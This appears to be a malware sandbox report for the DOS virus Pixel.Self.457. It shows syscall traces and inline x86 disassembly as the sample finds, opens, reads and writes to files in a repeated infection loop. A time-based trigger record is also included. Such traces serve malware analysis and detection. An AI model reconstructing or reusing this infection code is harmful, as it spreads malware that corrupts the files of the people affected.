Sample viewer

vx.netlux.org/Virus.DOS.Pixel.Self.457

GIF

Syscalls:

Time	Syscall Op	Syscall Name
2018-12-17T23:11:35.302044873Z	26	PC: 12aa5 \| Set disk transfer address
2018-12-17T23:11:35.304693004Z	78	PC: 12aaf \| Find first file
2018-12-17T23:11:35.311692709Z	61	PC: 12abc \| Open file (Filename = 'Í!´,Í!€ýtëL´*Í!<')
2018-12-17T23:11:35.319231206Z	63	PC: 12acb \| Read file or device (Read 65535 bytes on handle 5)
2018-12-17T23:11:35.326567684Z	66	PC: 12ae7 \| Move file pointer
2018-12-17T23:11:35.329167223Z	44	PC: 12aeb \| Get time 0x12aeb: mov al, dl 0x12aed: cwde 0x12aee: inc ax 0x12aef: cdq 0x12af0: mov cx, word ptr cs:[0x111] 0x12af5: idiv cx 0x12af7: inc dx 0x12af8: rol dx, 1 0x12afa: mov di, dx 0x12afc: mov word ptr [di + 0x3d], 0x1f1e 0x12b02: mov ah, 0x2c 0x12b04: int 0x21 0x12b06: mov al, dl 0x12b08: cwde 0x12b09: inc ax 0x12b0a: cdq 0x12b0b: mov cx, word ptr cs:[0x111] 0x12b10: idiv cx 0x12b12: inc dx 0x12b13: rol dx, 1
2018-12-17T23:11:35.332335922Z	44	PC: 12b06 \| Get time 0x12b06: mov al, dl 0x12b08: cwde 0x12b09: inc ax 0x12b0a: cdq 0x12b0b: mov cx, word ptr cs:[0x111] 0x12b10: idiv cx 0x12b12: inc dx 0x12b13: rol dx, 1 0x12b15: mov di, dx 0x12b17: mov word ptr [di + 0x3d], 0x706 0x12b1d: mov ah, 0x2c 0x12b1f: int 0x21 0x12b21: mov al, dl 0x12b23: cwde 0x12b24: inc ax 0x12b25: cdq 0x12b26: mov cx, word ptr cs:[0x111] 0x12b2b: idiv cx 0x12b2d: inc dx 0x12b2e: rol dx, 1
2018-12-17T23:11:35.335026041Z	44	PC: 12b21 \| Get time 0x12b21: mov al, dl 0x12b23: cwde 0x12b24: inc ax 0x12b25: cdq 0x12b26: mov cx, word ptr cs:[0x111] 0x12b2b: idiv cx 0x12b2d: inc dx 0x12b2e: rol dx, 1 0x12b30: mov di, dx 0x12b32: mov word ptr [di + 0x3d], 0x5951 0x12b38: mov ah, 0x2c 0x12b3a: int 0x21 0x12b3c: mov al, dl 0x12b3e: cwde 0x12b3f: inc ax 0x12b40: cdq 0x12b41: mov cx, word ptr cs:[0x111] 0x12b46: idiv cx 0x12b48: inc dx 0x12b49: rol dx, 1
2018-12-17T23:11:35.338108558Z	44	PC: 12b3c \| Get time 0x12b3c: mov al, dl 0x12b3e: cwde 0x12b3f: inc ax 0x12b40: cdq 0x12b41: mov cx, word ptr cs:[0x111] 0x12b46: idiv cx 0x12b48: inc dx 0x12b49: rol dx, 1 0x12b4b: mov di, dx 0x12b4d: mov word ptr [di + 0x3d], 0x5a52 0x12b53: xor dx, dx 0x12b55: mov cx, word ptr cs:[0x10f] 0x12b5a: mov ah, 0x40 0x12b5c: int 0x21 0x12b5e: mov ah, 0x3e 0x12b60: int 0x21 0x12b62: push cs 0x12b63: pop ds 0x12b64: mov ah, 0x4f 0x12b66: int 0x21
2018-12-17T23:11:35.340513201Z	64	PC: 12b5e \| Write file or device (Write 864 bytes on handle 5)
2018-12-17T23:11:35.356050061Z	62	PC: 12b62 \| Close file
2018-12-17T23:11:35.365555208Z	79	PC: 12b68 \| Find next file
2018-12-17T23:11:35.368813896Z	61	PC: 12abc \| Open file (Filename = 'Í!´,Í!€ýtëL´*Í!<')
2018-12-17T23:11:35.377001524Z	63	PC: 12acb \| Read file or device (Read 65535 bytes on handle 5)
2018-12-17T23:11:35.384799942Z	66	PC: 12ae7 \| Move file pointer
2018-12-17T23:11:35.386974231Z	44	PC: 12aeb \| Get time 0x12aeb: mov al, dl 0x12aed: cwde 0x12aee: inc ax 0x12aef: cdq 0x12af0: mov cx, word ptr cs:[0x111] 0x12af5: idiv cx 0x12af7: inc dx 0x12af8: rol dx, 1 0x12afa: mov di, dx 0x12afc: mov word ptr [di + 0x3d], 0x1f1e 0x12b02: mov ah, 0x2c 0x12b04: int 0x21 0x12b06: mov al, dl 0x12b08: cwde 0x12b09: inc ax 0x12b0a: cdq 0x12b0b: mov cx, word ptr cs:[0x111] 0x12b10: idiv cx 0x12b12: inc dx 0x12b13: rol dx, 1
2018-12-17T23:11:35.389269007Z	44	PC: 12b06 \| Get time 0x12b06: mov al, dl 0x12b08: cwde 0x12b09: inc ax 0x12b0a: cdq 0x12b0b: mov cx, word ptr cs:[0x111] 0x12b10: idiv cx 0x12b12: inc dx 0x12b13: rol dx, 1 0x12b15: mov di, dx 0x12b17: mov word ptr [di + 0x3d], 0x706 0x12b1d: mov ah, 0x2c 0x12b1f: int 0x21 0x12b21: mov al, dl 0x12b23: cwde 0x12b24: inc ax 0x12b25: cdq 0x12b26: mov cx, word ptr cs:[0x111] 0x12b2b: idiv cx 0x12b2d: inc dx 0x12b2e: rol dx, 1
2018-12-17T23:11:35.391800748Z	44	PC: 12b21 \| Get time 0x12b21: mov al, dl 0x12b23: cwde 0x12b24: inc ax 0x12b25: cdq 0x12b26: mov cx, word ptr cs:[0x111] 0x12b2b: idiv cx 0x12b2d: inc dx 0x12b2e: rol dx, 1 0x12b30: mov di, dx 0x12b32: mov word ptr [di + 0x3d], 0x5951 0x12b38: mov ah, 0x2c 0x12b3a: int 0x21 0x12b3c: mov al, dl 0x12b3e: cwde 0x12b3f: inc ax 0x12b40: cdq 0x12b41: mov cx, word ptr cs:[0x111] 0x12b46: idiv cx 0x12b48: inc dx 0x12b49: rol dx, 1
2018-12-17T23:11:35.394439501Z	44	PC: 12b3c \| Get time 0x12b3c: mov al, dl 0x12b3e: cwde 0x12b3f: inc ax 0x12b40: cdq 0x12b41: mov cx, word ptr cs:[0x111] 0x12b46: idiv cx 0x12b48: inc dx 0x12b49: rol dx, 1 0x12b4b: mov di, dx 0x12b4d: mov word ptr [di + 0x3d], 0x5a52 0x12b53: xor dx, dx 0x12b55: mov cx, word ptr cs:[0x10f] 0x12b5a: mov ah, 0x40 0x12b5c: int 0x21 0x12b5e: mov ah, 0x3e 0x12b60: int 0x21 0x12b62: push cs 0x12b63: pop ds 0x12b64: mov ah, 0x4f 0x12b66: int 0x21
2018-12-17T23:11:35.396798888Z	64	PC: 12b5e \| Write file or device (Write 484 bytes on handle 5)
2018-12-17T23:11:35.399741682Z	62	PC: 12b62 \| Close file
2018-12-17T23:11:35.409019831Z	79	PC: 12b68 \| Find next file
2018-12-17T23:11:35.411979608Z	61	PC: 12abc \| Open file (Filename = 'Í!´,Í!€ýtëL´*Í!<')
2018-12-17T23:11:35.419357895Z	63	PC: 12acb \| Read file or device (Read 65535 bytes on handle 5)
2018-12-17T23:11:35.427355606Z	66	PC: 12ae7 \| Move file pointer
2018-12-17T23:11:35.428903958Z	44	PC: 12aeb \| Get time 0x12aeb: mov al, dl 0x12aed: cwde 0x12aee: inc ax 0x12aef: cdq 0x12af0: mov cx, word ptr cs:[0x111] 0x12af5: idiv cx 0x12af7: inc dx 0x12af8: rol dx, 1 0x12afa: mov di, dx 0x12afc: mov word ptr [di + 0x3d], 0x1f1e 0x12b02: mov ah, 0x2c 0x12b04: int 0x21 0x12b06: mov al, dl 0x12b08: cwde 0x12b09: inc ax 0x12b0a: cdq 0x12b0b: mov cx, word ptr cs:[0x111] 0x12b10: idiv cx 0x12b12: inc dx 0x12b13: rol dx, 1
2018-12-17T23:11:35.431223621Z	44	PC: 12b06 \| Get time 0x12b06: mov al, dl 0x12b08: cwde 0x12b09: inc ax 0x12b0a: cdq 0x12b0b: mov cx, word ptr cs:[0x111] 0x12b10: idiv cx 0x12b12: inc dx 0x12b13: rol dx, 1 0x12b15: mov di, dx 0x12b17: mov word ptr [di + 0x3d], 0x706 0x12b1d: mov ah, 0x2c 0x12b1f: int 0x21 0x12b21: mov al, dl 0x12b23: cwde 0x12b24: inc ax 0x12b25: cdq 0x12b26: mov cx, word ptr cs:[0x111] 0x12b2b: idiv cx 0x12b2d: inc dx 0x12b2e: rol dx, 1
2018-12-17T23:11:35.434168599Z	44	PC: 12b21 \| Get time 0x12b21: mov al, dl 0x12b23: cwde 0x12b24: inc ax 0x12b25: cdq 0x12b26: mov cx, word ptr cs:[0x111] 0x12b2b: idiv cx 0x12b2d: inc dx 0x12b2e: rol dx, 1 0x12b30: mov di, dx 0x12b32: mov word ptr [di + 0x3d], 0x5951 0x12b38: mov ah, 0x2c 0x12b3a: int 0x21 0x12b3c: mov al, dl 0x12b3e: cwde 0x12b3f: inc ax 0x12b40: cdq 0x12b41: mov cx, word ptr cs:[0x111] 0x12b46: idiv cx 0x12b48: inc dx 0x12b49: rol dx, 1
2018-12-17T23:11:35.436807652Z	44	PC: 12b3c \| Get time 0x12b3c: mov al, dl 0x12b3e: cwde 0x12b3f: inc ax 0x12b40: cdq 0x12b41: mov cx, word ptr cs:[0x111] 0x12b46: idiv cx 0x12b48: inc dx 0x12b49: rol dx, 1 0x12b4b: mov di, dx 0x12b4d: mov word ptr [di + 0x3d], 0x5a52 0x12b53: xor dx, dx 0x12b55: mov cx, word ptr cs:[0x10f] 0x12b5a: mov ah, 0x40 0x12b5c: int 0x21 0x12b5e: mov ah, 0x3e 0x12b60: int 0x21 0x12b62: push cs 0x12b63: pop ds 0x12b64: mov ah, 0x4f 0x12b66: int 0x21
2018-12-17T23:11:35.439468276Z	64	PC: 12b5e \| Write file or device (Write 549 bytes on handle 5)
2018-12-17T23:11:35.449401117Z	62	PC: 12b62 \| Close file
2018-12-17T23:11:35.458332495Z	79	PC: 12b68 \| Find next file
2018-12-17T23:11:35.461298092Z	61	PC: 12abc \| Open file (Filename = 'Í!´,Í!€ýtëL´*Í!<')
2018-12-17T23:11:35.469730491Z	63	PC: 12acb \| Read file or device (Read 65535 bytes on handle 5)
2018-12-17T23:11:35.476578439Z	66	PC: 12ae7 \| Move file pointer
2018-12-17T23:11:35.478032895Z	44	PC: 12aeb \| Get time 0x12aeb: mov al, dl 0x12aed: cwde 0x12aee: inc ax 0x12aef: cdq 0x12af0: mov cx, word ptr cs:[0x111] 0x12af5: idiv cx 0x12af7: inc dx 0x12af8: rol dx, 1 0x12afa: mov di, dx 0x12afc: mov word ptr [di + 0x3d], 0x1f1e 0x12b02: mov ah, 0x2c 0x12b04: int 0x21 0x12b06: mov al, dl 0x12b08: cwde 0x12b09: inc ax 0x12b0a: cdq 0x12b0b: mov cx, word ptr cs:[0x111] 0x12b10: idiv cx 0x12b12: inc dx 0x12b13: rol dx, 1
2018-12-17T23:11:35.485498956Z	44	PC: 12b06 \| Get time 0x12b06: mov al, dl 0x12b08: cwde 0x12b09: inc ax 0x12b0a: cdq 0x12b0b: mov cx, word ptr cs:[0x111] 0x12b10: idiv cx 0x12b12: inc dx 0x12b13: rol dx, 1 0x12b15: mov di, dx 0x12b17: mov word ptr [di + 0x3d], 0x706 0x12b1d: mov ah, 0x2c 0x12b1f: int 0x21 0x12b21: mov al, dl 0x12b23: cwde 0x12b24: inc ax 0x12b25: cdq 0x12b26: mov cx, word ptr cs:[0x111] 0x12b2b: idiv cx 0x12b2d: inc dx 0x12b2e: rol dx, 1
2018-12-17T23:11:35.488034385Z	44	PC: 12b21 \| Get time 0x12b21: mov al, dl 0x12b23: cwde 0x12b24: inc ax 0x12b25: cdq 0x12b26: mov cx, word ptr cs:[0x111] 0x12b2b: idiv cx 0x12b2d: inc dx 0x12b2e: rol dx, 1 0x12b30: mov di, dx 0x12b32: mov word ptr [di + 0x3d], 0x5951 0x12b38: mov ah, 0x2c 0x12b3a: int 0x21 0x12b3c: mov al, dl 0x12b3e: cwde 0x12b3f: inc ax 0x12b40: cdq 0x12b41: mov cx, word ptr cs:[0x111] 0x12b46: idiv cx 0x12b48: inc dx 0x12b49: rol dx, 1
2018-12-17T23:11:35.490625759Z	44	PC: 12b3c \| Get time 0x12b3c: mov al, dl 0x12b3e: cwde 0x12b3f: inc ax 0x12b40: cdq 0x12b41: mov cx, word ptr cs:[0x111] 0x12b46: idiv cx 0x12b48: inc dx 0x12b49: rol dx, 1 0x12b4b: mov di, dx 0x12b4d: mov word ptr [di + 0x3d], 0x5a52 0x12b53: xor dx, dx 0x12b55: mov cx, word ptr cs:[0x10f] 0x12b5a: mov ah, 0x40 0x12b5c: int 0x21 0x12b5e: mov ah, 0x3e 0x12b60: int 0x21 0x12b62: push cs 0x12b63: pop ds 0x12b64: mov ah, 0x4f 0x12b66: int 0x21
2018-12-17T23:11:35.493505314Z	64	PC: 12b5e \| Write file or device (Write 486 bytes on handle 5)
2018-12-17T23:11:35.497373489Z	62	PC: 12b62 \| Close file
2018-12-17T23:11:35.505869047Z	79	PC: 12b68 \| Find next file
2018-12-17T23:11:35.508676907Z	61	PC: 12abc \| Open file (Filename = 'Í!´,Í!€ýtëL´*Í!<')
2018-12-17T23:11:35.516610568Z	63	PC: 12acb \| Read file or device (Read 65535 bytes on handle 5)
2018-12-17T23:11:35.524047334Z	66	PC: 12ae7 \| Move file pointer
2018-12-17T23:11:35.525775985Z	44	PC: 12aeb \| Get time 0x12aeb: mov al, dl 0x12aed: cwde 0x12aee: inc ax 0x12aef: cdq 0x12af0: mov cx, word ptr cs:[0x111] 0x12af5: idiv cx 0x12af7: inc dx 0x12af8: rol dx, 1 0x12afa: mov di, dx 0x12afc: mov word ptr [di + 0x3d], 0x1f1e 0x12b02: mov ah, 0x2c 0x12b04: int 0x21 0x12b06: mov al, dl 0x12b08: cwde 0x12b09: inc ax 0x12b0a: cdq 0x12b0b: mov cx, word ptr cs:[0x111] 0x12b10: idiv cx 0x12b12: inc dx 0x12b13: rol dx, 1
2018-12-17T23:11:35.529487486Z	44	PC: 12b06 \| Get time 0x12b06: mov al, dl 0x12b08: cwde 0x12b09: inc ax 0x12b0a: cdq 0x12b0b: mov cx, word ptr cs:[0x111] 0x12b10: idiv cx 0x12b12: inc dx 0x12b13: rol dx, 1 0x12b15: mov di, dx 0x12b17: mov word ptr [di + 0x3d], 0x706 0x12b1d: mov ah, 0x2c 0x12b1f: int 0x21 0x12b21: mov al, dl 0x12b23: cwde 0x12b24: inc ax 0x12b25: cdq 0x12b26: mov cx, word ptr cs:[0x111] 0x12b2b: idiv cx 0x12b2d: inc dx 0x12b2e: rol dx, 1
2018-12-17T23:11:35.532219514Z	44	PC: 12b21 \| Get time 0x12b21: mov al, dl 0x12b23: cwde 0x12b24: inc ax 0x12b25: cdq 0x12b26: mov cx, word ptr cs:[0x111] 0x12b2b: idiv cx 0x12b2d: inc dx 0x12b2e: rol dx, 1 0x12b30: mov di, dx 0x12b32: mov word ptr [di + 0x3d], 0x5951 0x12b38: mov ah, 0x2c 0x12b3a: int 0x21 0x12b3c: mov al, dl 0x12b3e: cwde 0x12b3f: inc ax 0x12b40: cdq 0x12b41: mov cx, word ptr cs:[0x111] 0x12b46: idiv cx 0x12b48: inc dx 0x12b49: rol dx, 1
2018-12-17T23:11:35.534614198Z	44	PC: 12b3c \| Get time 0x12b3c: mov al, dl 0x12b3e: cwde 0x12b3f: inc ax 0x12b40: cdq 0x12b41: mov cx, word ptr cs:[0x111] 0x12b46: idiv cx 0x12b48: inc dx 0x12b49: rol dx, 1 0x12b4b: mov di, dx 0x12b4d: mov word ptr [di + 0x3d], 0x5a52 0x12b53: xor dx, dx 0x12b55: mov cx, word ptr cs:[0x10f] 0x12b5a: mov ah, 0x40 0x12b5c: int 0x21 0x12b5e: mov ah, 0x3e 0x12b60: int 0x21 0x12b62: push cs 0x12b63: pop ds 0x12b64: mov ah, 0x4f 0x12b66: int 0x21
2018-12-17T23:11:35.537710651Z	64	PC: 12b5e \| Write file or device (Write 486 bytes on handle 5)
2018-12-17T23:11:35.540720071Z	62	PC: 12b62 \| Close file
2018-12-17T23:11:35.548984744Z	79	PC: 12b68 \| Find next file
2018-12-17T23:11:35.552037335Z	61	PC: 12abc \| Open file (Filename = 'Í!´,Í!€ýtëL´*Í!<')
2018-12-17T23:11:35.559672505Z	63	PC: 12acb \| Read file or device (Read 65535 bytes on handle 5)
2018-12-17T23:11:35.566634218Z	66	PC: 12ae7 \| Move file pointer
2018-12-17T23:11:35.568228957Z	44	PC: 12aeb \| Get time 0x12aeb: mov al, dl 0x12aed: cwde 0x12aee: inc ax 0x12aef: cdq 0x12af0: mov cx, word ptr cs:[0x111] 0x12af5: idiv cx 0x12af7: inc dx 0x12af8: rol dx, 1 0x12afa: mov di, dx 0x12afc: mov word ptr [di + 0x3d], 0x1f1e 0x12b02: mov ah, 0x2c 0x12b04: int 0x21 0x12b06: mov al, dl 0x12b08: cwde 0x12b09: inc ax 0x12b0a: cdq 0x12b0b: mov cx, word ptr cs:[0x111] 0x12b10: idiv cx 0x12b12: inc dx 0x12b13: rol dx, 1
2018-12-17T23:11:35.571794393Z	44	PC: 12b06 \| Get time 0x12b06: mov al, dl 0x12b08: cwde 0x12b09: inc ax 0x12b0a: cdq 0x12b0b: mov cx, word ptr cs:[0x111] 0x12b10: idiv cx 0x12b12: inc dx 0x12b13: rol dx, 1 0x12b15: mov di, dx 0x12b17: mov word ptr [di + 0x3d], 0x706 0x12b1d: mov ah, 0x2c 0x12b1f: int 0x21 0x12b21: mov al, dl 0x12b23: cwde 0x12b24: inc ax 0x12b25: cdq 0x12b26: mov cx, word ptr cs:[0x111] 0x12b2b: idiv cx 0x12b2d: inc dx 0x12b2e: rol dx, 1
2018-12-17T23:11:35.57418016Z	44	PC: 12b21 \| Get time 0x12b21: mov al, dl 0x12b23: cwde 0x12b24: inc ax 0x12b25: cdq 0x12b26: mov cx, word ptr cs:[0x111] 0x12b2b: idiv cx 0x12b2d: inc dx 0x12b2e: rol dx, 1 0x12b30: mov di, dx 0x12b32: mov word ptr [di + 0x3d], 0x5951 0x12b38: mov ah, 0x2c 0x12b3a: int 0x21 0x12b3c: mov al, dl 0x12b3e: cwde 0x12b3f: inc ax 0x12b40: cdq 0x12b41: mov cx, word ptr cs:[0x111] 0x12b46: idiv cx 0x12b48: inc dx 0x12b49: rol dx, 1
2018-12-17T23:11:35.576510142Z	44	PC: 12b3c \| Get time 0x12b3c: mov al, dl 0x12b3e: cwde 0x12b3f: inc ax 0x12b40: cdq 0x12b41: mov cx, word ptr cs:[0x111] 0x12b46: idiv cx 0x12b48: inc dx 0x12b49: rol dx, 1 0x12b4b: mov di, dx 0x12b4d: mov word ptr [di + 0x3d], 0x5a52 0x12b53: xor dx, dx 0x12b55: mov cx, word ptr cs:[0x10f] 0x12b5a: mov ah, 0x40 0x12b5c: int 0x21 0x12b5e: mov ah, 0x3e 0x12b60: int 0x21 0x12b62: push cs 0x12b63: pop ds 0x12b64: mov ah, 0x4f 0x12b66: int 0x21
2018-12-17T23:11:35.579706212Z	64	PC: 12b5e \| Write file or device (Write 958 bytes on handle 5)
2018-12-17T23:11:35.588576975Z	62	PC: 12b62 \| Close file
2018-12-17T23:11:35.597770466Z	79	PC: 12b68 \| Find next file
2018-12-17T23:11:35.601175991Z	61	PC: 12abc \| Open file (Filename = 'Í!´,Í!€ýtëL´*Í!<')
2018-12-17T23:11:35.608579996Z	63	PC: 12acb \| Read file or device (Read 65535 bytes on handle 5)
2018-12-17T23:11:35.61575532Z	66	PC: 12ae7 \| Move file pointer
2018-12-17T23:11:35.618277944Z	44	PC: 12aeb \| Get time 0x12aeb: mov al, dl 0x12aed: cwde 0x12aee: inc ax 0x12aef: cdq 0x12af0: mov cx, word ptr cs:[0x111] 0x12af5: idiv cx 0x12af7: inc dx 0x12af8: rol dx, 1 0x12afa: mov di, dx 0x12afc: mov word ptr [di + 0x3d], 0x1f1e 0x12b02: mov ah, 0x2c 0x12b04: int 0x21 0x12b06: mov al, dl 0x12b08: cwde 0x12b09: inc ax 0x12b0a: cdq 0x12b0b: mov cx, word ptr cs:[0x111] 0x12b10: idiv cx 0x12b12: inc dx 0x12b13: rol dx, 1
2018-12-17T23:11:35.620930032Z	44	PC: 12b06 \| Get time 0x12b06: mov al, dl 0x12b08: cwde 0x12b09: inc ax 0x12b0a: cdq 0x12b0b: mov cx, word ptr cs:[0x111] 0x12b10: idiv cx 0x12b12: inc dx 0x12b13: rol dx, 1 0x12b15: mov di, dx 0x12b17: mov word ptr [di + 0x3d], 0x706 0x12b1d: mov ah, 0x2c 0x12b1f: int 0x21 0x12b21: mov al, dl 0x12b23: cwde 0x12b24: inc ax 0x12b25: cdq 0x12b26: mov cx, word ptr cs:[0x111] 0x12b2b: idiv cx 0x12b2d: inc dx 0x12b2e: rol dx, 1
2018-12-17T23:11:35.623730729Z	44	PC: 12b21 \| Get time 0x12b21: mov al, dl 0x12b23: cwde 0x12b24: inc ax 0x12b25: cdq 0x12b26: mov cx, word ptr cs:[0x111] 0x12b2b: idiv cx 0x12b2d: inc dx 0x12b2e: rol dx, 1 0x12b30: mov di, dx 0x12b32: mov word ptr [di + 0x3d], 0x5951 0x12b38: mov ah, 0x2c 0x12b3a: int 0x21 0x12b3c: mov al, dl 0x12b3e: cwde 0x12b3f: inc ax 0x12b40: cdq 0x12b41: mov cx, word ptr cs:[0x111] 0x12b46: idiv cx 0x12b48: inc dx 0x12b49: rol dx, 1
2018-12-17T23:11:35.627545213Z	44	PC: 12b3c \| Get time 0x12b3c: mov al, dl 0x12b3e: cwde 0x12b3f: inc ax 0x12b40: cdq 0x12b41: mov cx, word ptr cs:[0x111] 0x12b46: idiv cx 0x12b48: inc dx 0x12b49: rol dx, 1 0x12b4b: mov di, dx 0x12b4d: mov word ptr [di + 0x3d], 0x5a52 0x12b53: xor dx, dx 0x12b55: mov cx, word ptr cs:[0x10f] 0x12b5a: mov ah, 0x40 0x12b5c: int 0x21 0x12b5e: mov ah, 0x3e 0x12b60: int 0x21 0x12b62: push cs 0x12b63: pop ds 0x12b64: mov ah, 0x4f 0x12b66: int 0x21
2018-12-17T23:11:35.630405553Z	64	PC: 12b5e \| Write file or device (Write 486 bytes on handle 5)
2018-12-17T23:11:35.633797301Z	62	PC: 12b62 \| Close file
2018-12-17T23:11:35.64389892Z	79	PC: 12b68 \| Find next file
2018-12-17T23:11:35.648899214Z	61	PC: 12abc \| Open file (Filename = 'Í!´,Í!€ýtëL´*Í!<')
2018-12-17T23:11:35.656270417Z	63	PC: 12acb \| Read file or device (Read 65535 bytes on handle 5)
2018-12-17T23:11:35.659501023Z	62	PC: 12b62 \| Close file
2018-12-17T23:11:35.662229694Z	79	PC: 12b68 \| Find next file
2018-12-17T23:11:35.665972514Z	26	PC: 12b74 \| Set disk transfer address
2018-12-17T23:11:35.667570018Z	44	PC: 12b78 \| Get time 0x12b78: cmp ch, 5 0x12b7b: je 0x12b80 0x12b7d: jmp 0x12bcb 0x12b7f: nop 0x12b80: mov ah, 0x2a 0x12b82: int 0x21 0x12b84: cmp al, 0 0x12b86: je 0x12b8b 0x12b88: jmp 0x12bcb 0x12b8a: nop 0x12b8b: mov ah, 0xf 0x12b8d: int 0x10 0x12b8f: push ax 0x12b90: xor ah, ah 0x12b92: mov al, 5 0x12b94: int 0x10 0x12b96: mov cx, 0x51 0x12b99: mov ax, 0x17f 0x12b9c: sub ax, 0x40f 0x12b9f: mov si, ax

{"DateBased":false,"Day":0,"Month":0,"Year":0,"Hour":5,"Min":0,"Second":0,"TimeBased":true,"OriginalID":17235,"SideJobID":0}

GIF

Syscalls:

Time	Syscall Op	Syscall Name
2018-12-25T12:55:16.765107386Z	26	PC: 12aa5 \| Set disk transfer address
2018-12-25T12:55:16.766435453Z	78	PC: 12aaf \| Find first file
2018-12-25T12:55:16.772057015Z	61	PC: 12abc \| Open file (Filename = 'Í!´,Í!€ýtëL´*Í!<')
2018-12-25T12:55:16.778120813Z	63	PC: 12acb \| Read file or device (Read 65535 bytes on handle 5)
2018-12-25T12:55:16.784380373Z	66	PC: 12ae7 \| Move file pointer
2018-12-25T12:55:16.785539863Z	44	PC: 12aeb \| Get time 0x12aeb: mov al, dl 0x12aed: cwde 0x12aee: inc ax 0x12aef: cdq 0x12af0: mov cx, word ptr cs:[0x111] 0x12af5: idiv cx 0x12af7: inc dx 0x12af8: rol dx, 1 0x12afa: mov di, dx 0x12afc: mov word ptr [di + 0x3d], 0x1f1e 0x12b02: mov ah, 0x2c 0x12b04: int 0x21 0x12b06: mov al, dl 0x12b08: cwde 0x12b09: inc ax 0x12b0a: cdq 0x12b0b: mov cx, word ptr cs:[0x111] 0x12b10: idiv cx 0x12b12: inc dx 0x12b13: rol dx, 1
2018-12-25T12:55:16.787420637Z	44	PC: 12b06 \| Get time 0x12b06: mov al, dl 0x12b08: cwde 0x12b09: inc ax 0x12b0a: cdq 0x12b0b: mov cx, word ptr cs:[0x111] 0x12b10: idiv cx 0x12b12: inc dx 0x12b13: rol dx, 1 0x12b15: mov di, dx 0x12b17: mov word ptr [di + 0x3d], 0x706 0x12b1d: mov ah, 0x2c 0x12b1f: int 0x21 0x12b21: mov al, dl 0x12b23: cwde 0x12b24: inc ax 0x12b25: cdq 0x12b26: mov cx, word ptr cs:[0x111] 0x12b2b: idiv cx 0x12b2d: inc dx 0x12b2e: rol dx, 1
2018-12-25T12:55:16.790486118Z	44	PC: 12b21 \| Get time 0x12b21: mov al, dl 0x12b23: cwde 0x12b24: inc ax 0x12b25: cdq 0x12b26: mov cx, word ptr cs:[0x111] 0x12b2b: idiv cx 0x12b2d: inc dx 0x12b2e: rol dx, 1 0x12b30: mov di, dx 0x12b32: mov word ptr [di + 0x3d], 0x5951 0x12b38: mov ah, 0x2c 0x12b3a: int 0x21 0x12b3c: mov al, dl 0x12b3e: cwde 0x12b3f: inc ax 0x12b40: cdq 0x12b41: mov cx, word ptr cs:[0x111] 0x12b46: idiv cx 0x12b48: inc dx 0x12b49: rol dx, 1
2018-12-25T12:55:16.792783266Z	44	PC: 12b3c \| Get time 0x12b3c: mov al, dl 0x12b3e: cwde 0x12b3f: inc ax 0x12b40: cdq 0x12b41: mov cx, word ptr cs:[0x111] 0x12b46: idiv cx 0x12b48: inc dx 0x12b49: rol dx, 1 0x12b4b: mov di, dx 0x12b4d: mov word ptr [di + 0x3d], 0x5a52 0x12b53: xor dx, dx 0x12b55: mov cx, word ptr cs:[0x10f] 0x12b5a: mov ah, 0x40 0x12b5c: int 0x21 0x12b5e: mov ah, 0x3e 0x12b60: int 0x21 0x12b62: push cs 0x12b63: pop ds 0x12b64: mov ah, 0x4f 0x12b66: int 0x21
2018-12-25T12:55:16.795062849Z	64	PC: 12b5e \| Write file or device (Write 864 bytes on handle 5)
2018-12-25T12:55:17.243254802Z	62	PC: 12b62 \| Close file
2018-12-25T12:55:17.252234202Z	79	PC: 12b68 \| Find next file
2018-12-25T12:55:17.254727028Z	61	PC: 12abc \| Open file (See above)
2018-12-25T12:55:17.261318381Z	63	PC: 12acb \| Read file or device (See above)
2018-12-25T12:55:17.268272658Z	66	PC: 12ae7 \| Move file pointer (See above)
2018-12-25T12:55:17.269620328Z	44	PC: 12aeb \| Get time (See above)
2018-12-25T12:55:17.271913446Z	44	PC: 12b06 \| Get time (See above)
2018-12-25T12:55:17.274341532Z	44	PC: 12b21 \| Get time (See above)
2018-12-25T12:55:17.276373178Z	44	PC: 12b3c \| Get time (See above)
2018-12-25T12:55:17.278272978Z	64	PC: 12b5e \| Write file or device (See above)
2018-12-25T12:55:17.280982935Z	62	PC: 12b62 \| Close file (See above)
2018-12-25T12:55:17.290353786Z	79	PC: 12b68 \| Find next file (See above)
2018-12-25T12:55:17.293166779Z	61	PC: 12abc \| Open file (See above)
2018-12-25T12:55:17.300441551Z	63	PC: 12acb \| Read file or device (See above)
2018-12-25T12:55:17.314448889Z	66	PC: 12ae7 \| Move file pointer (See above)
2018-12-25T12:55:17.315699847Z	44	PC: 12aeb \| Get time (See above)
2018-12-25T12:55:17.31845397Z	44	PC: 12b06 \| Get time (See above)
2018-12-25T12:55:17.32191711Z	44	PC: 12b21 \| Get time (See above)
2018-12-25T12:55:17.324151671Z	44	PC: 12b3c \| Get time (See above)
2018-12-25T12:55:17.326279976Z	64	PC: 12b5e \| Write file or device (See above)
2018-12-25T12:55:17.33475916Z	62	PC: 12b62 \| Close file (See above)
2018-12-25T12:55:17.342793834Z	79	PC: 12b68 \| Find next file (See above)
2018-12-25T12:55:17.354100645Z	61	PC: 12abc \| Open file (See above)
2018-12-25T12:55:17.359265185Z	63	PC: 12acb \| Read file or device (See above)
2018-12-25T12:55:17.368802452Z	66	PC: 12ae7 \| Move file pointer (See above)
2018-12-25T12:55:17.370336702Z	44	PC: 12aeb \| Get time (See above)
2018-12-25T12:55:17.373141549Z	44	PC: 12b06 \| Get time (See above)
2018-12-25T12:55:17.375294926Z	44	PC: 12b21 \| Get time (See above)
2018-12-25T12:55:17.377325759Z	44	PC: 12b3c \| Get time (See above)
2018-12-25T12:55:17.379773396Z	64	PC: 12b5e \| Write file or device (See above)
2018-12-25T12:55:17.38321996Z	62	PC: 12b62 \| Close file (See above)
2018-12-25T12:55:17.39102578Z	79	PC: 12b68 \| Find next file (See above)
2018-12-25T12:55:17.394216676Z	61	PC: 12abc \| Open file (See above)
2018-12-25T12:55:17.400759458Z	63	PC: 12acb \| Read file or device (See above)
2018-12-25T12:55:17.406915692Z	66	PC: 12ae7 \| Move file pointer (See above)
2018-12-25T12:55:17.409412539Z	44	PC: 12aeb \| Get time (See above)
2018-12-25T12:55:17.411731253Z	44	PC: 12b06 \| Get time (See above)
2018-12-25T12:55:17.413998959Z	44	PC: 12b21 \| Get time (See above)
2018-12-25T12:55:17.41661025Z	44	PC: 12b3c \| Get time (See above)
2018-12-25T12:55:17.418708068Z	64	PC: 12b5e \| Write file or device (See above)
2018-12-25T12:55:17.421311155Z	62	PC: 12b62 \| Close file (See above)
